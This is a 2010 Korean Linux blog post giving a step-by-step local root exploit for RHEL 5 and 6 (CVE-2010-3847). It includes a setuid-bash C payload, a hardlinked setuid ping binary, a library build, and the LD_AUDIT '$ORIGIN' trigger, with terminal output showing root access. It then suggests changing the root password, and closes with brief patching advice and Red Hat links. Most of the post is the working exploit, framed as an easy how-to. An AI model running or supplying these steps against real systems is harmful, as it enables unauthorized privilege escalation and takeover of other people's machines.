Knowledge Base/Linux

RHEL 5 & RHEL 6 일반계정으로 root 권한 획득하는 쉬운 방법

Woos™ 2010. 10. 21. 14:17

아래대로 하면 일반계정으로 접속해 root 계정을 득하는 것이 바로 됩니다.

RHEL 5와 RHEL 6에서 모두 가능합니다.

 

http://seclists.org/fulldisclosure/2010/Oct/257

CVE-2010-3847



>>>절차  

$ cd /tmp
$ cat > payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
^D (ctrl +d)


$ mkdir /tmp/exploit
$ ln /bin/ping /tmp/exploit/target
$ exec 3< /tmp/exploit/target
$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 10월 21 09:38 /proc/16189/fd/3 -> /tmp/exploit/target
$ rm -rf /tmp/exploit/
$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 10월 21 09:38 /proc/16189/fd/3 -> /tmp/exploit/target (deleted)
$ cat payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
gcc: spec failure: unrecognized spec option 'M'
gcc: spec failure: unrecognized spec option 'M'
# LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
# whoami
root

 

여기서 패스워드 변경

 

>>> 이에 대한 해결안 대략 2가지

1. 보통 두가지 해당 패키지를 YUM으로 업데이트 할것

2. sticky bit 가 있는 바이러리 디렉토리와 사용자가 쓸 수 있는 디렉토리를 파티션으로 분리할 것



>>> 주의사항

1. 이 패치를 위해서는 RHN을 사용할 수 있어야 합니다.

2.


>>> 관련 글

How can I apply security patches for a Red Hat Enterprise Linux system not connected on RHN or the internet?
https://access.redhat.com/kb/docs/DOC-17189

>>> On a Red Hat Enterprise Linux 5 machine, is it possible to limit yum so that it lists or installs only security updates?
https://access.redhat.com/kb/docs/DOC-10022

How do I know if a CVE name affects a Red Hat Enterprise Linux package?
https://access.redhat.com/kb/docs/DOC-11331